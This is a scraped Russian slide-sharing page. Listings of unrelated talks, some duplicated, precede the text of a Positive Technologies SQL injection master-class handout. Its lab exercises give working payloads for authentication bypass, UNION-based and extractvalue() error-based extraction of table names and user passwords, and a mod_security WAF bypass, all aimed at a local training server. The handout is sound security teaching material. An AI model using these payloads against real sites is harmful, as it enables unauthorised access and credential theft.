Доклад рассматривает тонкости nodejs, а так же преимущества Evented I/O для серверных приложений. Будет предоставлен ряд рекоммендаций по правильному построению архитектуры, модульности, масштабированию, дизайну кода. Краткое введение в технологию программирования "волокнами" (fibers) и ряд других эффективных практик.
Web-программирование
Лекция #7. Django ORM
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Лекция #5. Введение в язык программирования Python 3Яковенко Кирилл
Web-программирование
Лекция #5. Введение в язык программирования Python 3
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьTanya Denisyuk
После этого доклада вы будете знать, что такое Handlersocket, нужен ли он вам и «как его готовить».
Все как обычно — грабли, шишки, слезы из реальной жизни, направления «куда копать», примеры из практики. Вместе с докладом Сергей выложит код самописного php-клиента для HS, который мы используем в Badoo.
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Badoo Development
Мы уже около 3-х лет используем HandlerSocket в нашей инфраструктуре сайта badoo.com. За это время мы накопили опыт решения характерных для Handlersocket проблем, появляющихся при использовании.
Несколько команд внутри Баду активно используют HS для решения разноплановых задач мобильных и настольных приложений Баду. Где-то мы используем HS как замену Memcached, где-то как простой поисковый механизм, где-то как хранилище типа ключ-значение. Наш HS-кластер содержит более 30 серверов, обрабатывая порядка 8000 запросов/сек.
Спикер также предоставляет написанный им код библиотеки-клиента для Handlersocket на PHP.
Про что доклад:
• что это вообще такое;
• чем является HS и чем не является;
• внутреннее устройство и работа HS;
• протокол;
• примеры использования в Баду, с цифрами и графиками;
• особенности: шардирование, Percona Server, постоянные соединения (бенефиты, проблемы и их решения), tips & tricks;
• полезные сслыки, ответы на FAQ.
Доклад рассчитан на highload-разработчиков, работающих с реляционными БД.
Доклад рассматривает тонкости nodejs, а так же преимущества Evented I/O для серверных приложений. Будет предоставлен ряд рекоммендаций по правильному построению архитектуры, модульности, масштабированию, дизайну кода. Краткое введение в технологию программирования "волокнами" (fibers) и ряд других эффективных практик.
Web-программирование
Лекция #7. Django ORM
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Лекция #5. Введение в язык программирования Python 3Яковенко Кирилл
Web-программирование
Лекция #5. Введение в язык программирования Python 3
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьTanya Denisyuk
После этого доклада вы будете знать, что такое Handlersocket, нужен ли он вам и «как его готовить».
Все как обычно — грабли, шишки, слезы из реальной жизни, направления «куда копать», примеры из практики. Вместе с докладом Сергей выложит код самописного php-клиента для HS, который мы используем в Badoo.
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Badoo Development
Мы уже около 3-х лет используем HandlerSocket в нашей инфраструктуре сайта badoo.com. За это время мы накопили опыт решения характерных для Handlersocket проблем, появляющихся при использовании.
Несколько команд внутри Баду активно используют HS для решения разноплановых задач мобильных и настольных приложений Баду. Где-то мы используем HS как замену Memcached, где-то как простой поисковый механизм, где-то как хранилище типа ключ-значение. Наш HS-кластер содержит более 30 серверов, обрабатывая порядка 8000 запросов/сек.
Спикер также предоставляет написанный им код библиотеки-клиента для Handlersocket на PHP.
Про что доклад:
• что это вообще такое;
• чем является HS и чем не является;
• внутреннее устройство и работа HS;
• протокол;
• примеры использования в Баду, с цифрами и графиками;
• особенности: шардирование, Percona Server, постоянные соединения (бенефиты, проблемы и их решения), tips & tricks;
• полезные сслыки, ответы на FAQ.
Доклад рассчитан на highload-разработчиков, работающих с реляционными БД.
Ошибки, которые сложно заметить на code review, но которые находятся статичес...Andrey Karpov
Есть ошибки, которые легко прячутся от программистов на обзорах кода. Чаще всего они связаны с опечатками или недостаточным знанием тонких нюансах языка/библиотеки. Давайте посмотрим интересные примеры таких ошибок и как их можно выявить с помощью статического анализа. При этом анализаторы не конкурируют с обзорами кода или, например, юнит-тестами. Они отлично дополняют другие методологии борьбы с ошибками.
Выполняет анализ кода на языках: C, C++, C++/CLI, C++/CX, C#. Plugin для Visual Studio 2010-2015. Интеграция с SonarQube, QtCreator, CLion, Eclipse CDT, Anjuta DevStudio и т.д. Быстрый старт (мониторинг компиляции). Прямая интеграция анализатора в системы автоматизации сборки и утилита BlameNotifier (рассылка писем). Режим автоматического анализа изменённых файлов. Почему нужны анализаторы кода?
Оптимизация производительности и нагрузочное тестирование в среде Visual Stud...Dmitry Andreev
Производительность информационной системы - одно из важных свойств которое должно учитываться, а затем постоянно контролироваться на всех этапах создания программного обеспечения. Но эта задача при неверном подходе в решении рискует превратиться в кропотливую и очень трудоемкую работу, которая может значительно снизить общую эффективность разрабатываемой системы. Баланс между усилиями по оптимизации и результатами достигается с помощью инструментальных средств. Одним из таких средств являются функциональные возможности Visual Studio 2010 по профилированию, нагрузочному тестированию и автоматизации тестирования. В докладе будет проведен краткий обзор этих возможностей и основные сценарии применения для построения комплексной системы нагрузочного тестирования и имитационного мониторинга производительности.
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
Как показывает практика проведения тестирований на проникновение компанией Positive Technologies, всего 4-х часов достаточно атакующему, находящемуся во внутренней сети компании, для того, чтобы получить максимальный уровень привилегий. С чем это связано и можно ли от этого защититься? Данная тема будет освещена в ходе доклада Дмитрия Евтеева. На вебинаре будут подробно рассмотрены типовые успешные сценарии атак в сетях Microsoft, а также действия атакующего, связанные с пост эксплуатацией в Active Directory.
В современном бизнесе все решает время. Доступность корпоративных приложений из любой точки земного шара и с любых мобильных устройств - это и есть облик современного бизнеса. Но как обеспечить подобную доступность? VPN-шлюзы? Доставка приложений через веб-сервисы? Каждая компания свободна в выборе любого из решений. Но насколько безопасны эти решения? В презентации затронута практическая безопасность при организации удаленного доступа к приложениям с использованием решений самых популярных брендов в этой сфере.
2. ОГЛАВЛЕНИЕ
1 ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ ..........................................................3
1.1 «В НЕДРЕНИЕ ОПЕРАТОРОВ SQL» (SQL I NJECTION ) 3
1.2 «С ЛЕПОЕ ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL» (B LIND SQL I NJECTION ) 5
1.3 О БХОД W EB A PPLICATION F IREWALL (WAF) ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 6
2 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ...............................................................................7
2.1 И НСТРУМЕНТЫ ДЛЯ РАБОТЫ С SQL I NJECTION 7
2.2 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 8
Мастер-класс по теме «Внедрение операторов SQL» Страница 2 из 8
3. 1 Задания для самостоятельной
работы
192.168.0.51 – IP сервера для самостоятельной работы.
1.1 «Внедрение операторов SQL» (SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/
1. Обнаружить a. Зайдите на интерфейс http://192.168.0.51:80/
уязвимость SQL b. Укажите в качестве имени пользователя и пароля 1
Injection
c. Вы увидите уведомление об ошибке авторизации.
d. В качестве имени пользователя укажите 1'
e. В качестве пароля укажите 1
f. Вы должны увидеть следующее сообщение об ошибке:
Query failed: You have an error in your SQL syntax
2. Обойти процедуру a. В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1
аутентификации b. Вы должны увидеть следующее сообщение об успешной авторизации:
Logged as Administrator
c. Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени
пользователя и пароля, например:
'or 1=1--
d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным
пользователем системы, что достигается путем эксплуатации уязвимости SQL
Injection.
3. Получить список a. Перейдите по ссылке, которая становиться доступной после успешной авторизации в
всех таблиц и системе.
колонок в b. В качестве параметра «id» в адресной строке браузера введите следующую
пространстве СУБД комбинацию:
14+union+select+'mytext'
c. Теперь, в качестве параметра «id» в адресной строке браузера введите такую
комбинацию:
14+limit+0+union+select+'mytext'
d. Как можно заметить, в этом случае на странице отображается текст, который введен
между двумя одинарными кавычками.
mytext
e. На этот раз в качестве параметра «id» в адресной строке браузера введите
следующую комбинацию:
14+union+select+'mytext'--
Мастер-класс по теме «Внедрение операторов SQL» Страница 3 из 8
4. Действие Описание
f. Должен быть получен результат, аналогичный предыдущему, но при выполнении
этого запроса отобразится вводимый текст между двумя одинарными кавычками
совместно с данными из СУБД.
test14
mytext
g. Попробуйте в качестве параметра «id» в адресной строке браузера ввести
следующую комбинацию:
14+OR+1=1--
Вы увидите содержимое всей таблицы.
h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос:
?id=14+union+select+concat_ws(0x3a,table_name,column_name)
+from+information_schema.columns--
i. Получите все значения из таблицы «users». Запрос должен выглядеть следующим
образом:
?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--
4. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:80/ под пользователем sqladmin.
«sqladmin»
Мастер-класс по теме «Внедрение операторов SQL» Страница 4 из 8
5. 1.2«Слепое внедрение операторов SQL» (Blind
SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/
1. Используя a. Зайдите на интерфейс http://192.168.0.51:81/
одинарную кавычку, b. Перейдите на страницу «/actions.php».
найти уязвимость
c. Последовательно, подставляя одинарную кавычку во все параметры, передаваемые
типа Blind SQL
странице методом GET, необходимо обнаружить уязвимость SQL Injection. В
Injection
данном случае – это Blind SQL Injection.
Query failed: You have an error in your SQL syntax
d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением
операторов SQL», используя методы, изученные на предыдущем занятии.
2. Используя технику с a. В уязвимый параметр введите следующую конструкцию:
функцией 1 AND extractvalue(1,concat(0x5C,(select 'mytext')))--
ExtractValue()
b. Как можно заметить, на странице отображается текст, который вводится между
получить
двумя одинарными кавычками.
идентификаторы и
пароли всех Query failed: XPATH syntax error: 'mytext'
пользователей c. Используйте следующий запрос, чтобы получить запись о первой таблице с первой
колонкой этой таблицы в пространстве СУБД:
1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
from information_schema.columns limit 0,1)))--
d. Используя подобный запрос, становиться возможным последовательно выявить всю
доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько
быстрее:
1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
from information_schema.columns where table_schema!='information_schema' limit
0,1)))--
e. Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название
таблицы пользователей и колонок в ней.
f. Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите
пароль пользователя «blindSQLadmin».
Опционально, можно получить пароли и других пользователей в этой таблице.
Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue().
Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63)
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь под
пользователем пользователем «blindSQLadmin» в интерфейсе http://192.168.0.51:81/.
«blindSQLadmin»
Мастер-класс по теме «Внедрение операторов SQL» Страница 5 из 8
6. 1.3Обход Web Application Firewall (WAF) при
эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/
1. Найти уязвимый a. Зайдите на интерфейс http://192.168.0.51:9191/
сценарий для b. Перейдите по ссылке «actions here».
проведения атаки
c. Используя одинарную кавычку, убедитесь, что в параметрах адресной строки
содержится уязвимость типа «Внедрение операторов SQL».
d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Например, установите в значение любого параметра конструкцию: «1 union select 1»
Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security.
Примечание: Web-приложение защищено mod_security v.2.5.9.
2. Используя технику a. Используя технику обхода правил mod_security, следующая конструкция будет
обхода waf, пропущена WAF:
воспользуйтесь /*!
уязвимостью limit+0+union+select+concat_ws(0x3a,table_name,column_name),2,3+from+informat
ion_schema.columns*/
b. Используя уже известную Вам технику эксплуатации уязвимости типа «Внедрение
операторов SQL» в классическом и слепом виде, получите пароль пользователя root.
Опционально, можно получить пароли и других пользователей.
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:9191/ под пользователем root.
«root»
Мастер-класс по теме «Внедрение операторов SQL» Страница 6 из 8
7. 2 Дополнительные материалы
2.1 Инструменты для работы с SQL Injection
sqlmap (http://sqlmap.sourceforge.net/)
Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase
sqlus (http://sqlsus.sourceforge.net/)
Реализована поддержка только MySQL
bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/)
Больше ориентирована под слепые SQL-инъекции. Реализована поддержка:
MySQL, Oracle, PostgreSQL и Microsoft SQL Server
Pangolin (http://www.nosec.org/2009/0920/74.html)
Реализована поддержка: Oracle, MS SQL Server 2000, MS SQL Server 2005,
Sybase, Access, Mysql, DB2, Informix. Pangolin распространяется на
коммерческой основе, но также доступна и бесплатная версия с
ограниченным функционалом.
Мастер-класс по теме «Внедрение операторов SQL» Страница 7 из 8
8. 2.2Ссылки на дополнительные материалы
http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-
pack.html (полная версия данного мастер-класса)
http://www.ptsecurity.ru/analytics.asp (Аналитические материалы от
сотрудников компании Positive Technologies)
WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
Ресурсы Securitylab: http://www.securitylab.ru/
Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)
Ресурсы Antichat:
MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
MSSQL: http://forum.antichat.ru/thread15087.html
ORACLE: http://forum.antichat.ru/showthread.php?t=40576
PostgreSQL: http://forum.antichat.ru/thread35599.html
MSAccess: http://forum.antichat.ru/thread50550.html
Мастер-класс по теме «Внедрение операторов SQL» Страница 8 из 8